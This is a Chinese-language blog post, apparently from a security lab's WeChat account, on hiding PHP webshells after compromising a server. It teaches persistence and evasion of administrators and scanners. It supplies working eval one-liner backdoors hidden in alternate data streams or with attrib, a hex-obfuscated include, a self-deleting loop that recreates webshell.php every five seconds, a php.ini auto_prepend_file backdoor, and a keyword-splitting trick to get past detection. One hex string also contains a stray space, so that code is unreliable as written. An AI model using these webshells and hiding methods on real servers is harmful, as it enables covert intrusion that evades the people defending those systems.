前言
未知攻,焉知防,在红蓝对抗中,我们在拿下一个服务器之后该如何让权限维持的久一些而不被管理员轻易的发现 ,就需要在我们上传的木马动点手脚想办法不被管理员以及检测工具快速的发现。
一.attrib
attrib用法: attrib+文件路径+参数
参数说明:
+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
-a 取消存档属性
+s 设置系统属性
-s 取消系统属性
+h 设置隐藏属性
-h 取消隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录
利用参数就能够创建隐藏文件:
attrib +s +a +r +h
attrib +s +h 文件名
这里我用upload-labs做了验证,执行完命令后当前目录下的文件即隐藏,即使开启了显示隐藏的文件或是dir都是看不见的
二.利用ADS隐藏文件
通过在命令行中echo一个数据流从而创建一个ADS隐藏文件
echo ^<?php @eval($_POST['pass']);?^> > index.php:shell.jpg
我们只能看见一个index.php文件,且内容为空,通过命令行输入完整的文件名即可通过notepad进行编辑,可以看到我们echo进去的一句话木马。
虽然我们已经将文件隐藏了,都是木马并不能够起作用,这里就需要用到文件包含,
可以在当前目录下新建一个test.php文件,
include(‘index.php:shell.jpg’);
对木马文件进行包含,不过这样直接进行包含很容易就被查杀了,看了一些资料看见大佬们是利用PHP可变变量进行二次转换加上对包含的文件名进行hex处理进行绕过的。
具体的代码:
$a="696E6465782E7068703"." A7368656C6C2E6A7067";
$b="a";
include(PACK('H*',$$b))
三.不死马
此文件被执行后会自动运行生成webshell.php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}
在每次删除后的5秒钟之后又会重新生成一个新的webshell.php文件,若要彻底删除文件最好的方法是将web服务停止了再删除。
四.php.ini
1.在php.ini中找到配置项,修改auto_prepend_file:
; Automatically add files before or after any PHP document.
auto_prepend_file =webshell.dll
auto_append_file =
2.修改include_path
这里我把后门文件放在了网站目录下,为了隐蔽性可以将文件放在其他位置
; Windows: "path1;path2"
include_path = ".;C:phpstudy_proWWWini"
3.在include_path指定的路径上创建webshell.dll文件
之后直接用该web站点的任意一个php页面连接webshell
五.关键字拆分与文件包含
将
@eval($_POST[‘test’]);
拆分成
$a=$_POST[‘test’];和@eval($a);
然后将
$a=$_POST[‘test’];
写入到一个php文件中,再使用文件包含将$a的值带入到test.php文件中。
总结
总结以上方法,其实只要做到不被D盾等检测工具自动检测出来,管理员用肉眼不能轻易看出来就够了,隐藏的方法有很多,这里我就只提了五种方法,场景不同方法也各异,如果能很好的融合思路,构造自己的隐藏shell想来亦非难事。
本文始发于微信公众号(雷石安全实验室):木马隐藏技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论